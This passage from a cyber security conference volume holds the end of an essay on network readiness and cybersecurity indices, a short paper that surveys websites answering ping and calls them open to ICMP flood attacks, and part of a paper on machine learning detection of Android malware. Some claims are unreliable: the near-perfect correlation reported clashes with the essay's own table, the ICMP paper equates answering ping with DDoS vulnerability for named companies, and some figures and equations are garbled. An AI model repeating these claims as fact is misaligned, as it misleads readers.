neutrality is debated. Institutions controlling critical business operations are
increasingly encouraging access to its functionalities over digital network shunning
personal presence and activities in their premises. As Internet opens up rapidly to
make more resources accessible, concerns grow for identifying the intention of the
objects approaching resources. The paradigm shift makes life processes simple,
though at times at the cost of individual and collective security, creating a
dichotomy between security and accessibility that leads to a puzzle.

5 Analysis

The journey over Internet for knowledge and wisdom at this moment is open to all,
which is expected to lead humanity to freedom from dogma, biases,
short-sightedness, etc., the factors that slow down the process to become a superior
entity. Plethora of web applications and mobile apps are being developed to ease
the use of Internet; wherein, required technical knowledge of computing and
communicating are minimal. Of late it is being observed that this freedom is being
256 A. Dutta

Table 2 Cyber safety Cyber safety ¼ Cybersecurity/cyber insecurity

equation
where 0  Security  ∞;
0  Insecurity  ∞

used differently by a different stratum of humanity. The rulers, ruled, privileged,

marginalized, scientists, technocrats, statesman, bureaucrats, etc., on right or wrong
side of righteousness are using the priceless resource in line with their own agenda.
As it is being deliberated that both ‘security’ and ‘insecurity’ scenarios are our own
creation and since International Telecommunication Union (ITU) is producing
measures of security one more measure ‘Cyber Safety’ may find place in present
text in the following way (Table 2).
As strategic retreat, instead of attempting for an absolute secured environment in
this milieu, effort could be made to make it safe, where security be more prevalent
than insecurity. Increased security will enhance safety, and increased insecurity will
reduce it. This is indicative of the fact that far from being deterministic, safety and
security factors get probabilistic as technology advances in time, allowing enigma
to seeps in. This in turn compels one to conceive a model on safety, leaving aside
the path for absolute considerations. The analysis in this context follows next.
Deliberations so far underline the fact that advances in technology expected to
associate increasingly more factors, both technical and non-technical, affecting
digital safety and security, which may spice up existing enigma. Amongst these
factors, data or digital communication expected to play a dominating role now and
in near future as escalating indiscriminate digital connectivity presumed to dilute
security considerations. Since computer network connects all and sundry across the
globe, it will be quite interesting to assess broadly the association between
‘Network Readiness’ and ‘Cybersecurity Preparedness Index’. Though both are
abstract terms, in our journey to isolate factors affecting safety and security aspects
the most, this text expected to open a small window view of challenges ahead.
ITU has produced security index as GCI (Global Cybersecurity Index) and cyber
wellness measures for the year 2014. Global Information Technology Report
(GITR) also has produced network readiness index for the same year. These are
shown in ‘Table 3’ below in column ‘A’ and ‘B’. The analysis is done with limited
scope presently, considering ‘Network Readiness Index’ of top ten countries and
their associated ‘Cybersecurity Index’ as presented in Table 3. Values listed under
column ‘B’ calculated to 10-point scale and listed under column ‘B10’ to bring it at
par with values listed under column ‘A’ for comparison. The calculated value of
Correlation Coefficient between these two parameters is presented next.
Correlation Coefficient: 0.9994697150416415. This indicates that there is high
correlation between network readiness index and cybersecurity preparedness index.
Thus, at this moment, to begin with, ‘Network Readiness’ may get maximum
attention to be secured. It may be presumed that an enigmatic component has been
identified.
Digital Security: An Enigma 257

Table 3 Network readiness and cyber security status of top 10 countries in the world
S. Country GITR Network ITU Cybersecurity ITU Cybersecurity
No. Name Readiness Preparedness Preparedness Index on 10
Index (A) Index (B) Point Scale (B10)
1 Finland 6.04 0.618 6.18
2 Singapore 5.97 0.676 6.76
3 Sweden 5.93 0.647 6.47
4 Netherland 5.79 0.676 6.76
5 Norway 5.70 0.735 7.35
6 Switzerland 5.62 0.353 3.53
7 United 5.61 0.824 8.24
States
8 Hong Kong 5.60 0.618 6.18
SAR
9 United 5.54 0.706 7.06
Kingdom
10 Korea Rep 5.54 0.706 7.06
Source [16, 17]

6 Conclusion

With a limited scope, deliberations so far have indicated that there is high corre-
lation between ‘Network Readiness Index’ and ‘Cybersecurity Preparedness Index’.
Though absolute security is not achievable in today’s scenario, mainly because of
the fact that same technology and related standards are being used by both attackers
and defenders, remaining oblivion to security issue may be catastrophic. Digital
networks have been opening up precious resources to one and all at the backdrop of
the debate on ‘Net Neutrality’; thus, combinations of security options, with focus on
digital network, may help in making a strong security module to enhance safety.

7 Future Scope

It has just been conceived that ‘Digital Security’ aspect increasingly getting
probabilistic and security model needs to be evolved to control ‘Enigma’ with an
aim to establish enhanced safety. In this context, data from more countries needs to
be included to make the study further accurate. Apart from factors like ‘Network
Readiness’, associations of other factors like country-wise Knowledge Index (KI),
knowledge economy index, ICT index, etc. with cybersecurity preparedness index,
may be explored individually and collectively to evolve a reliable security/safety
model that assures safe network usages.
258 A. Dutta

Acknowledgements Contributions of theorists who can look into the future and guide science
and technologies beyond horizon are deeply acknowledged.

References

1. Weiser M (1991) The computer for the 21st century. Scientific American, Sept 1991,
pp 94–104
2. Weiser M, Brown JS (1996) The coming age of calm technology. Xerox PARC, 5 Oct 1996
3. O’Reilly T, Battelle J. Web squared: web 2.0 five years on; special report
4. Kleinrock L. Nomadic computing—an opportunity CCR 4/95
5. Burgin M, Eberbach E (2012) Evolutionary computation and the processes of life. ACM
Publication
6. La Porta TF, Sabnani KK, Gitlin RD. Challenges for nomadic computing: mobility
management and wireless communications. Bell Laboratories
7. Avijit D. Knowledge ubiquity in web 2.0 paradigm. Innovation in information system and
technology. ITCDC ‘09 Macmillan Publications, pp 234–238
8. Avijit D. Digital security: a moving target. Int J Electr Electron Comput Sci Eng. Special issue
—TeLMISR 2015. ISSN: 2348-2273
9. Barcena MB, Wueest C (2015) Insecurity in the Internet of Things. Symantec, security
response, version 1.0, 12 March 2015
10. Symantec, ISTR, April 2015, vol 20
11. Symantec, Insecurity in Internet of Things, version 1.0, 12 March 2015
12. Cortada JW, Marc GAMLN How nations thrive in the information age. IBM Institute for
Business Value, IBM Global Business Services
13. Kephart JO, Chess DM (2003) Autonomic computing. IBM Thomas J. Watson Research
Center, IEEE Computer Society
14. https://bensontao.wordpress.com/2013/10/06/vivante-internet-of-things
15. http://securityaffairs.co/wordpress/34974/cyber-crime/iot-security-symantec.htm
16. INSEAD (2014) Global information technology report
17. ITU (2015) Global cyber security index & cyberwellness profile report
18. Lytinen K, Yoo Y. The next wave of nomadic computing: a research agenda for information
systems research. Working papers on information systems, Sprouts. ISSN: 1535-6078
19. Cousins KC, Robey D. Human agency in a wireless world: patterns of technology use in
nomadic computing environments. Information and Organization; Science Direct
20. Venkatasubramanian K, Gupta SKS (2006) Security solutions for pervasive healthcare. P1:
Binaya Dash, 8 Dec 2006, vol 11:58, pp AU7921–AU7921˙C015
21. Kleinrock L. Nomadic computing. Computer Science Department, Los Angeles
22. Davis RM. Evolution of computers and computing. Science 195
23. Satyanarayanan M. Pervasive computing: vision and challenges. School of Computer Science,
Carnegie Mellon University
24. TechTarget, Security Media Group. Information security, October 2014, vol 16, no 8
25. http://www.slideshare.net/MhaeLyn/iot-30545508
Digital Security: An Enigma 259

Author Biography

Avijit Dutta is an M.Sc. (Statistics), M.Phil. (Applied

Mathematics/Statistics), and MBA (Finance and Marketing)
graduate. He is associated with ICT for the last 34 years. During
this period, he served both private and government institutions at
various capacities in different projects. He retired from National
Informatics Centre (NIC), New Delhi, Government of India
(http://www.nic.in), as Scientist “F”/“Senior Technical Director”
on December 31, 2018, after rendering 31 years and 2 months of
coveted service. He continues to enjoy ICT thereafter on personal
capacity.
ICMP Flood Attacks: A Vulnerability
Analysis

Varun Chauhan and Pranav Saini

Abstract The increasing rate of cyberattacks based on the DDoS principle has
created various new areas of concern for information security. It has also raised a
pertinent question—Are we protected against such attacks? With significant rise in
the number of attacks and resulting reports of high vulnerability to ICMP flood
attacks, perhaps we need to reconsider and revisit the pros and cons of the ICMP
protocol. In this paper, we mainly focus on giving readers a brief outline of DDoS
attacks and its constituents, primarily the ICMP protocol. We also present a survey
and the research findings that show the rising vulnerability to ICMP and subse-
quently DDoS.

Keywords Cybersecurity
ICMP attack
DoS attacks
DDoS attacks

Ping

1 Introduction

Denial-of-Service (DoS) attack and Distributed Denial-of-Service (DDoS) attacks

appear to be similar, but they differ with respect to their scale of impact. In the case
of a DoS attack, the impact is quite marginal as compared to mention of a DDoS
attack, which in its essence is quite grand. Regardless of whether it is a DoS/DDoS
attack, the attacker makes use of multiple computers. DoS attacks are mostly on the
smaller end of this scale, while DDoS attacks lie on the higher end of it. Extensive
DDoS attacks range from 100s to 1000s of systems. An attacker who is employing
a DoS/DDoS attack technique has one simple goal in mind, i.e., to disrupt website

V. Chauhan (&)
Knowledge Graph Department, Binary Semantics Pvt. Ltd., Gurgaon, India
e-mail: [email protected]
P. Saini
Department of Information Technology, Bharati Vidyapeeth’s College of Engineering,
GGSIPU, New Delhi, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 261

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_26
262 V. Chauhan and P. Saini

performance. They disturb website performance by rendering it unable to respond

to legitimate requests or disabling the website entirely, which makes it impossible
for genuine users to gain access to the website. Such types of disruptions can be
damaging to you and your business (Fig. 1).
A Denial-of-Service (DoS) attack comprises attackers sending messages to take
advantage of certain vulnerabilities leading to the deviation or paralysis of business
systems from normal operation, or sending a huge amount of standard messages
quickly and repeatedly to a single node to choke system resources causing system
failure [1]. As long as administrators keep on patching susceptibilities and focus on
optimization of performance, the probable impact of a simple DoS attack is quite
marginal.
Denial-of-service attack is considered to have taken place when several systems
are flooded with data traffic, which clogs the targeted networks and makes them
inaccessible to users. This kind of attack exploits the detectable vulnerabilities.
Generally, they have very few hindrances to entry. The prowess of these attacks has
also seriously affected giant technology firms such as Microsoft, Google, Apple,
PayPal, Visa, and MasterCard, to name a few.
However, like numerous other cyberthreats, DDoS attacks have exhibited a more
dangerous threat scenario. The number of such attacks has increased, motivations
have become rewarding, and complex and targets are more vulnerable and
abundant.

Fig. 1 A geography of who’s hitting whom in denial-of-service cyberattacks. The large unknown
reflects the difficulty of measuring the threat [7]
ICMP Flood Attacks: A Vulnerability Analysis 263

2 Related Work

Since the emergence of the Internet, Distributed Denial-of-Service (DDoS) attacks

have shown a preferential trend among the cybercriminals. Naturally, this has led to
a lot of research that seeks to understand and reduce the impact of such attacks.
Douligeris and Mitrokotsa [2] presented a structural approach to the DDoS problem
by “developing a classification of DDoS attacks and DDoS defense mechanisms.
Furthermore, important features of each attack and defense system category were
described and advantages and disadvantages of each proposed scheme was out-
lined.” According to Eden [3], ICMP is a great hacking tool as it is versatile, mostly
overlooked, and commonly misunderstood. The amount of information carried
within the message could be used by attackers to exploit known vulnerabilities.
Myers [4] strongly emphasized that while malicious consumption of resources is
generally the chief purpose of a DDoS, different attackers might use different
techniques that would generate traffic needed for realization of an effective DDoS
attack. “A lone actor having a botnet at their disposal can use the botnet in order to
choreograph such attacks.”

3 Internet Control Message Protocol

The Internet Control Message Protocol (ICMP) is the means to give feedback about
network troubles that is thwarting delivery of packets throughout the network.
Upper protocols, like TCP, are able to understand that packets are not getting
delivered, but ICMP provides a method for discerning more catastrophic problems,
such as “TTL exceeded” and “need more fragments.”
The ICMP protocol is used for sending various messages to convey network
conditions. The majority of ICMP message types are necessary for proper operation
of TCP, IP, and other such protocols. ICMP is not evil and should not be blocked.

3.1 CMP Flood Attacks

An ICMP flood is said to have happened when an attacker makes use of a botnet to
send large amounts of ICMP packets to the target server in an attempt to exhaust
any available bandwidth and prevent access to the legitimate users. This attack is
considered “successful” when a huge number of sources are able to send sufficient
ICMP traffic so as to consume and exhaust all available bandwidth of the victim’s
network.
One instance of this attack is the “ping” command. The “ping” command is
primarily used to test network connectivity by checking whether your device is able
to send and receive data to/from other device in the network, i.e., between two
264 V. Chauhan and P. Saini

Fig. 2 ICMP flood attack

points in a network. However, this command can be given with different variables
to make the ping larger in size and occur more often. Efficient application of such
parameters and with adequate source systems initiating traffic will finally lead to the
utilization of available system bandwidth (Fig. 2).

3.2 The Ping Utility—Packet Internet Groper

Everybody likes ping. It is simple. It is useful. And it also does precisely what the
sonar-inspired name indicates.
Ping tells you if a remote computer is responding to network requests.
The ping utility was written by Mike Muuss, a senior scientist at the U.S. Army
Research Laboratory [5]. It makes use of IP/ICMP ECHO_REQUEST and
ECHO_REPLY timed packets in order to probe the “distance” to the target machine
(Fig. 3).
ICMP Flood Attacks: A Vulnerability Analysis 265

Fig. 3 Illustration of the ping command

4 Vulnerability Analysis

4.1 Survey on ICMP

A survey was conducted wherein data was collected about various websites
vis-a-vis their vulnerability to ICMP.
Major categories of websites targeted:
• Social Networking Websites
• E-Commerce Websites
• Email Service Providers
• Search Engines
• Government Websites
• Private Enterprises
All the website and portals in these categories are privy to sensitive information
and act as prime targets for attackers and hackers alike.

4.2 Survey Methodology

Step 1. A list of 100 top-most websites from each category was prepared and a
database was maintained using MS-Excel.
Step 2. A range of parameters was decided, based on which results would be made
and conclusions drawn. The parameters were as follows:
• Destination IP Address
• TTL, i.e., Time To Live
266 V. Chauhan and P. Saini

• RTT, i.e., Average Round Trip Time

• Were Packets Sent?
• Were Packets Received?
• Response IP Address
Step 3. Using the “ping” utility, ICMP scanning of these websites was done [6].
Each test had the following characteristics:
• Number of ICMP packets sent on a single “ping” = 4
(i.e., the default value in Windows OS)
• Size of each ICMP packet = 32 bytes (i.e., the default value in Windows OS)
Step 4. Results of each website were stored in the database.
Step 5. Finally, conclusions were drawn for each category (Fig. 4).

4.3 Research Findings

The results of the survey and the conclusions drawn are given below (by category):
1. Social Networking Websites: Approximately, 20% of websites have blocked
ICMP requests and are therefore not vulnerable to such attacks. The remaining
80% of these though have allowed ICMP and are therefore vulnerable to such

Fig. 4 Results of survey (values have been rounded up)

ICMP Flood Attacks: A Vulnerability Analysis 267

attacks. Some of these are namely, Facebook, Twitter, and LinkedIn which are
privy to a huge amount of sensitive information.
2. E-Commerce Websites: Around 30% of such websites rejected ICMP echo and
reply requests and are not vulnerable to such attacks. The remaining 70%
though is highly vulnerable and can be brought down by such attacks in the
future. These include sites like Flipkart, Snapdeal, and Jabong which are among
the top e-commerce sites in India.
3. Email Service Providers: Here, we have a 50:50 ratio. 50% of such email
providers are vulnerable to ICMP-based DDoS attacks. Hackers can gain sen-
sitive knowledge that can lead to expensive losses. These include Gmail,
Outlook, Hotmail, etc.
4. Search Engines: Only 30% of search engines have blocked ICMP requests,
while the remaining 70% is highly vulnerable and sensitive to such attacks.
These search engines can be manipulated to divert traffic which happened in the
case of GitHub attack.
5. Government Websites: More than 90% of such websites that includes Indian
and US Government websites are aware of such possibilities and have subse-
quently blocked an ICMP request on their servers and sites. The rest though are
still highly vulnerable. These include the US Air Force and NASA.
6. Private Enterprises: 40% of private enterprises have blocked ICMP requests
and hence are protected against this type of attack. The other 60% have allowed
such requests and hence are vulnerable. These include Apple Inc., General
Electric, Exxon Mobil, etc.
From the above results, we can conclude that around 47% of all website are
vulnerable to such attacks. Therefore, these types of attacks need to be mitigated.

5 Conclusions

Through this paper, the most crucial terms with regard to DDoS and ICMP and the
association between these terms have been explained. It has been shown—in par-
ticular regarding cybersecurity—that ICMP is a great hacking tool. Engineers,
administrators, security officers, etc. need to be aware of the dangers. The data
present within these messages can be misused by attackers to exploit known vul-
nerabilities in the system. We have seen all through this paper that ICMP can and
has been used in many stages of an attacker’s progress in a system compromise. We
have also seen that ICMP is not just being used in the reconnaissance and probing
phase which is most understood but it has also been used for exploiting systems as
well as in certain occurrences as a covert passage for attacker’s communication.
Further, research should seek to test this vulnerability which has not been shown by
this study. Practical implementation and testing can be done to further narrow down
268 V. Chauhan and P. Saini

embedded vulnerabilities not detected in this research. Acceptance of these defi-

nitions and uniform use in the future would guarantee that research and develop-
ment in the area of DDoS and primarily ICMP can progress more easily.

References

1. Website DDoS protection. Stop DDoS attacks against your website! https://sucuri.net/website-
firewall/ddos-protection
2. Douligeris C, Mitrokotsa A (2003) DDoS attacks and defense mechanisms: classification and
state-of-the-art, Greece
3. Eden L The truth about ICMP, global information assurance certification paper, SANS Institute
4. Myers L (2014) Guide to DDoS attacks, integrated intelligence center technical white paper,
Center for Internet Security
5. Atwood J (2007) The story about PING. http://blog.codinghorror.com/the-story-about-ping/
6. ICMP attacks illustrated, SANS Institute InfoSec Reading Room
7. “The Internet’s Aswarm in Denial of Service Attacks and It’s Getting Worse.” (2014) June
2014. http://www.forbes.com/sites/bruceupbin/2014/06/18/were-aswarmin-denial-of-service-
attacks-and-its-getting-worse/
Statistical Approach Using Meta
Features for Android Malware
Detection System

Meenu Mary John and P. Vinod

Abstract In this paper, a static analysis malware detection system based on

machine learning techniques and making use of features like hardware components,
requested permissions, application components, and filtered intents are extracted
from various applications. Prominent features are selected as a part of dimension-
ality reduction using GSS coefficient and mutual information. Experiment has been
evaluated on 3000 malware samples from Drebin dataset and on 1631 benign
samples collected from Google Play Store. High ROC curve of 0.998 has been
obtained for model developed using individual attributes with overall scanning time
of 1.49 s. However, when the optimal features extracted from each category of
attributes were aggregated a remarkable improvement in F-measure, i.e., 0.996 was
noticed with a low FPR value of 0.003 concluding the fact that the approach can be
used to support commercial AV.

Keywords Android Malware

Feature selection
GSS
Mutual information

Prominent features Classifiers

1 Introduction

Smartphones installed with Android has gained its popularity over its counterparts
like iOS, Blackberry, Symbian, and Windows. Due to increased popularity of
Android devices, malware writers and hackers have found interest in identifying
vulnerabilities and compromising these devices. This has given birth to malicious

M. M. John (&)
P. Vinod

Department of Computer Science & Engineering,
SCMS School of Engineering & Technology, Ernakulum, Kerala, India
e-mail: [email protected]
P. Vinod
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 269

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_27
270 M. M. John and P. Vinod

apps in Google Play Store and in many third-party app stores. Traditional
signature-based systems [1] have found to be incapable in the identification of
zero-day malware. Exponential increase in growth of malware being repackaged
with legitimate apps [2] has raised serious security concern. Many prior works in
the domain of detection of malware are considered using single feature such as
permissions, API, opcodes, etc. for identifying suspicious file. As such these
methods did not scale in identifying unseen sample, there was a demand felt in
the detection of files by composing different types of features in other words
composing diverse optimal feature vectors. The main contribution of work
includes the following: (a) Implementation of a malware scanner by incorporating
static analysis using machine learning approach; (b) Classification of Android
malware against benign with less classification overhead in minimum time;
(c) High performance is achieved due to the application of GSS (Galavotti–
Sebastiani–Simi) and mutual information feature selection methods; and
(d) Composite (hereafter meta referred to as composite) feature space model
results in high F-measure of 0.996 in 1.01 s. The remaining section is organized
as follows: Sect. 2 introduces related work. Proposed framework is discussed in
Sect. 3. Experimental results are covered in Sects. 4, and 5 concludes the paper
with scope for future enhancement.

2 Related Work

In [3], feature sets from manifest file and dex code of different apps on Drebin
dataset were analyzed. Authors in [4] rank permissions and determine a subset of
critical permissions using sequential forward selection and PCA. In [5], proba-
bilistic generative models ranging from Naïve Bayes to advanced hierarchical
mixture models were utilized for scoring permissions. Proposed approach catego-
rizes an app based on the usage of permissions, the function category of an app, and
permissions requested by other apps in [6] to risky report if an app is malicious.
A static analysis method is proposed in [7] for Android malware detection by
extracting creator information from every app. MAST (Mobile Application Security
Triage) architecture was proposed by authors in [8] to exhibit malicious behavior.
In [9], Andromaly was proposed that monitors smartphone features and events
contributing to 88 features to detect malware, whereas in [10] to detect mali-
ciousness, Kirin looks for app permission and Stowaway in [11] detect overprivi-
leged apps by analyzing API calls. Droidmat in [12] extracts API calls, intents, and
permission to detect malware. API calls are extracted from decompiled source code
for identifying malicious app in [13].
Statistical Approach Using Meta Features for Android Malware … 271

3 Methodology

To overcome the limitations of signature-based detection system, a static frame-

work using multiple features extracted from.apk files is proposed and implemented.
The proposed framework is evaluated using a benchmark dataset Drebin [14]. The
architecture of the proposed framework is shown in Fig. 1.

3.1 Data Preprocessing

Malware samples are collected from Drebin dataset (5560 samples in 6 folders) in
which three folders Drebin-0, Drebin-1, and Drebin-2 with a total of 3000 malware
samples and 1631 benign samples downloaded from Google Play Store are used for
experimentation. All input.apk files are disassembled using Androguard tool [15] to
convert Android manifest file into human readable.xml format later used for feature
extraction. The malware and benign samples are randomly divided into train set and
test set in the ratio 60:40 resulting in three datasets for training and three for testing.
The static features extracted from samples are depicted in Table 1.

Fig. 1 Architecture diagram of proposed framework

Table 1 Static features extracted from android manifest file of various applications
Static features Descriptions Examples
Hardware Contains requested hardware components CAMERA.FLASH, GPS,
components WI-FI
Requested Granted by user at the time of installation SEND_SMS,READ_LOGS,
permissions WRITE_GMAIL
App Four components: activities, services, PACKAGE_INSTALL,
components providers, and receivers DOWNLOAD_HIDE
Filtered Contains action and category components BOOTSERVICE,
intents USER_PRESENT
272 M. M. John and P. Vinod

Initially, from each feature set, rare attributes that are not relevant to be used for
developing learned models are removed using Naïve Bayes approach. A unique list
with feature, document frequency, and term frequency is used to eliminate irrele-
vant attributes using Eq. (1).

PðCi jXÞ ¼ PðXjCi Þ:PðCi ÞjPð X Þ; ð1Þ

where Ci denotes class [Benign (B) or Malware (M)] and X denotes a feature. Naïve
Bayes score is calculated for each feature and is sorted in descending order. This
would preserve the attribute that identifies a target class. Then, features with Naïve
Bayes score greater than zero are extracted resulting in two feature lists: pruned
malware and benign list of features. This initial pruning is repeated for all categories
of feature from.apk samples and the pruned set is further given to feature selection
techniques to obtain relevant features with minimum redundancy that is used for
constructing learning models.

3.2 Feature Selection

In machine learning, a subset of relevant features is required to be used in the model

construction. This is achieved by determining optimal feature vector. Feature
selection is performed to achieve model simplification for easier interpretation,
reduction in training time, and enhanced generalization by variance reduction. GSS
coefficient (Galavotti–Sebastiani–Simi) and mutual information feature selection
methods are applied to obtain significant attributes.
(a) GSS (Galavotti–Sebastiani–Simi): GSS [16] is one of the simplified variants
of chi-square statistics given by Eq. (2).






GSS tj ; ck ¼ P tj ; ck :P tj ; ck  P tj ; ck :P tj ; ck ; ð2Þ

where tj represents feature and ck represents class (B, M). P tj ; ck and P tj ; ck
represent joint probability of the presence

and absence
of a feature in a particular

class [say ck ¼ M (Malware)]. P tj ; ck and P tj ; ck represent joint probability of
the presence and absence of a feature in alternate class [say ck ¼ B (Benign)]. The
features are sorted in descending order of GSS score calculated using (2), and these
significant attributes are involved in the preparation of malware and benign models.
Statistical Approach Using Meta Features for Android Malware … 273

(b) Mutual Information (MI): Mutual information [17] measures arbitrary

dependencies between a feature and a class. MI can be calculated as follows:

1 Pðf ; MÞ
MIðf ; MÞ ¼  log ð3Þ
PðMÞ Pð f Þ  PðMÞ

1 Pðf ; BÞ
MIðf ; BÞ ¼  log ð4Þ
PðBÞ Pð f Þ  PðBÞ

Larger MI
Fmax ¼ ð5Þ
Smaller MI

Fmax is calculated using (5) and the result is sorted in descending order and
subsequently used for preparing training models.

3.3 Model Generation and Prediction

Independent training models are constructed for features like action, activity, cat-
egory, hardware components, requested permissions, content providers, broadcast
receivers, and services. Each instance is represented in the form of a Boolean
vector, where 1 denotes the presence and 0 denotes the absence of feature in the
sample. The models are generated using three classification algorithms imple-
mented in WEKA [18]. They are SVM [18] with linear, polynomial, radial, and
sigmoid kernels; Random forest [18]; and rotation forest [18]. The accuracy, false
positive rate (FPR), true positive rate (TPR), F-measure, and area under ROC
(Receiver Operating Characteristic) curve (AUC) are measured at variable feature
length during training phase. The model at optimal feature length is used to test the
unknown samples. Subsequently, different category features of each optimal model
are aggregated to form composite feature space, and this learning model is used to
identify new samples that are not used in modeling.

4 Experiments and Results

Malware specimens are collected from Drebin dataset and benign samples from
Google Play Store. Experiments were conducted on Ubuntu 14.04 platform with
8 GB RAM. The performance of the proposed framework is estimated using
Eqs. 6–10.
274 M. M. John and P. Vinod

2ðPrecision  RecallÞ
F-MeasureðF Þ ¼ ð6Þ
ðPrecision þ RecallÞ

TP
PrecisionðPÞ ¼ ð7Þ
TP þ FP
TP
RecallðRÞ ¼ ð8Þ
TP þ FN
TP þ TN
Accuracyð AÞ ¼ ð9Þ
TP þ FN + TN þ FP

AUC ¼ area under the ROC curve ð10Þ

Here, benign misclassified as malware is FP (False Positive). Benign correctly

predicted as benign is TN (True Negative). Malware predicted as malware is TP
(True Positive). Finally, malware misclassified as benign is FN (False Negative).
An ideal malware detector should have high value of F-measure and AUC with
minimum FPR.

4.1 Results

The effect of F-measure on independent models with linear SVM (L), random forest
(Rdm), and rotation forest (Rtn) classifiers with GSS are shown in Figs. 2, 3, 4, 5, 6
and with mutual information in Figs. 7, 8, 9, 10, 11. D-0, D-1, and D-2 represent
dataset-0, dataset-1, and dataset-2, respectively.
In Figs. 2. 3, 4, 5, 6, 7, 8, 9, 10, and 11, five independent training models out of
eight models discussed in model generation and prediction using GSS and MI
shows good results and is plotted. The results of linear SVM and random forest

Fig. 2 Performance with

action features using GSS
Statistical Approach Using Meta Features for Android Malware … 275

Fig. 3 Values of F-measure

using activity with GSS

Fig. 4 Performance
considering permission using
GSS

Fig. 5 Evaluation parameters

with receiver attributes using
GSS

classifiers are better than that of rotation forest. Malware model of GSS plotted
above outperformed benign GSS model. In Fig. 2, GSS learning malware model of
action using 236 features pruned out of 2727 features (236/2727), activity (1350/
13,169) with linear SVM in Fig. 3 and permission (130/562) trained using random
forest (refer Fig. 4) shows high F-measure of 0.793, 0.977, and 0.979. Receiver
(390/2063) and service (340/1861) learning model depicted in Figs. 5 and 6
276 M. M. John and P. Vinod

Fig. 6 Performance
evaluated with service
attributes using GSS

Fig. 7 Performance with

action attributes using MI

Fig. 8 Activity performance

evaluation using MI

Fig. 9 Performance with

permission attributes using
MI
Statistical Approach Using Meta Features for Android Malware … 277

Fig. 10 Evaluate
performance with receiver
attributes using MI

Fig. 11 Service attributes

performance with MI

Table 2 Prediction of new samples for independent features in GSS using AUC
Linear SVM Random forest Rotation forest
Features D0 D1 D2 D0 D1 D2 D0 D1 D2
Action 0.797 0.801 0.794 0.924 0.921 0.921 0.835 0.839 0.840
Activity 0.973 0.979 0.974 0.984 0.995 0.988 0.790 0.816 0.776
Permission 0.910 0.925 0.924 0.994 0.996 0.996 0.984 0.986 0.980
Receiver 0.875 0.875 0.872 0.891 0.890 0.888 0.729 0.739 0.735
Service 0.900 0.891 0.876 0.904 0.894 0.880 0.731 0.720 0.745

achieved F-measure of 0.856 and 0.889, respectively. MI learning model has

obtained high F-measure of 0.988 and 0.986 with activity (12,550/13,169) and
permission (559/565) model represented in Figs. 8 and 9. Graphs of action,
receiver, and service training models plotted with F-measure against various clas-
sifiers are shown in Fig. 7 and in Figs. 10 and 11.
278 M. M. John and P. Vinod

Table 3 Prediction of new samples for independent features in MI using AUC

Linear SVM Random forest Rotation forest
Features D0 D1 D2 D0 D1 D2 D0 D1 D2
Action 0.825 0.819 0.816 0.939 0.936 0.941 0.833 0.829 0.813
Activity 0.980 0.989 0.979 0.997 0.998 0.998 0.723 0.517 0.751
Permission 0.920 0.931 0.929 0.994 0.996 0.997 0.980 0.983 0.976
Receiver 0.877 0.879 0.875 0.948 0.950 0.950 0.676 0.673 0.666
Service 0.902 0.892 0.877 0.955 0.951 0.872 0.658 0.657 0.644

Table 4 Composite feature space model

Dataset-0 (20,149 features) Dataset-1 (19,664 features) Dataset-2 (19,761 features)
FPR TPR F1 C FPR TPR F1 C FPR TPR F1 C
0.23 0.995 0.996 L 0.34 0.995 0.995 L 0.003 0.998 0.996 L
0.23 0.994 0.993 R 0.11 0.997 0.995 R 0.001 0.992 0.995 R
2.50 0.940 0.950 T 1.25 0.936 0.957 T 0.020 0.926 0.946 T

In prediction phase, the results of AUC on effect of classifiers on different

models using GSS and MI are shown in Tables 2 and 3. Out of all models, per-
mission model using GSS shows AUC of 0.996, FPR 0.005, TPR 0.969, and
accuracy 98.46% in 0.09 s with random forest. Activity model of MI obtained high
AUC of 0.998 with random forest.
The composite feature space models in Table 4 show good result for 20,149
features with F-measure 0.996, FPR 0.23, and TPR 0.995 with linear SVM
(L) classifier (represented as C) for dataset-0 in 1.15 s. For dataset-1, random forest
(R) has high F-measure of 0.995 in 3.9 s. Linear SVM (L) shows high F-measure
of 0.996, FPR 0.003, and TPR 0.998 with dataset-2 in 1.01 s. Following are the
inferences from the study: (a) Composite feature space model shows better F-
measure of 0.996 compared to individual models with linear classifier, (b) linear
SVM works well with Boolean vector space model, (c) compared to linear SVM
and random forest, rotation forest (T) has poor performance, and (d) less detection
time shows effectiveness of model in real-time malware scanning. As the results
obtained with linear SVM and random forest are comparable, an ensemble classifier
can be created to improve the performance further.

5 Conclusion

Classification of Android malware against benign is conducted using static analysis.

From higher dimensional space, relevant features are mined using GSS coefficient
and mutual information. The overall F-measure of each classifier is compared and
linear SVM is found to be the best classifier in case of composite feature space
Statistical Approach Using Meta Features for Android Malware … 279

model. In future, experiments would be conducted on features extracted from .dex

code (restricted and suspicious API calls, network addresses, used permissions, etc.)
of applications, and ensemble classification approach would be looked on for
obtaining better performance.

References

1. Grace MC, Zhou Y, Zhang Q, Zou S, Jiang X (2012) Riskranker: scalable and accurate
zero-day android malware detection. In: MobiSys, pp 281–294. ACM
2. Zhou W, Zhou Y, Jiang X, Ning P (2012) Detecting repackaged smartphone applications in
third-party android marketplaces. In: Proceedings of second ACM conference on data and
application security and privacy, pp 317–326. ACM
3. Arp D, Spreitzenbarth M, Hubner M, Gascon H, Rieck K (2014) Drebin: effective and
explainable detection of android malware in your pocket. In: NDSS. The Internet Society
4. Wang W, Wang X, Feng D, Liu J, Han Z, Zhang X (2014) Exploring permission-induced risk
in android applications for malicious application detection. IEEE Trans Inf Forensics Secur 9
(11):1869–1882
5. Peng H, Gates CS, Sarma BP, Li N, Qi Y, Potharaju R, NitaRotaru C, Molloy I (2012) Using
probabilistic generative models for ranking risks of android apps. In: ACM conference on
computer and communications security, pp 241–252. ACM
6. Sarma BP, Li N, Gates CS, Potharaju R, Nita-Rotaru C, Molloy I (2012) Android
permissions: a perspective combining risks and benefits. In: SACMAT, pp 13–22. ACM
7. Kang H, Jang J, Mohaisen A, Kim HK (2015) Detecting and classifying android malware
using static analysis along with creator information. Int J Distrib Sens Netw, 479174:9
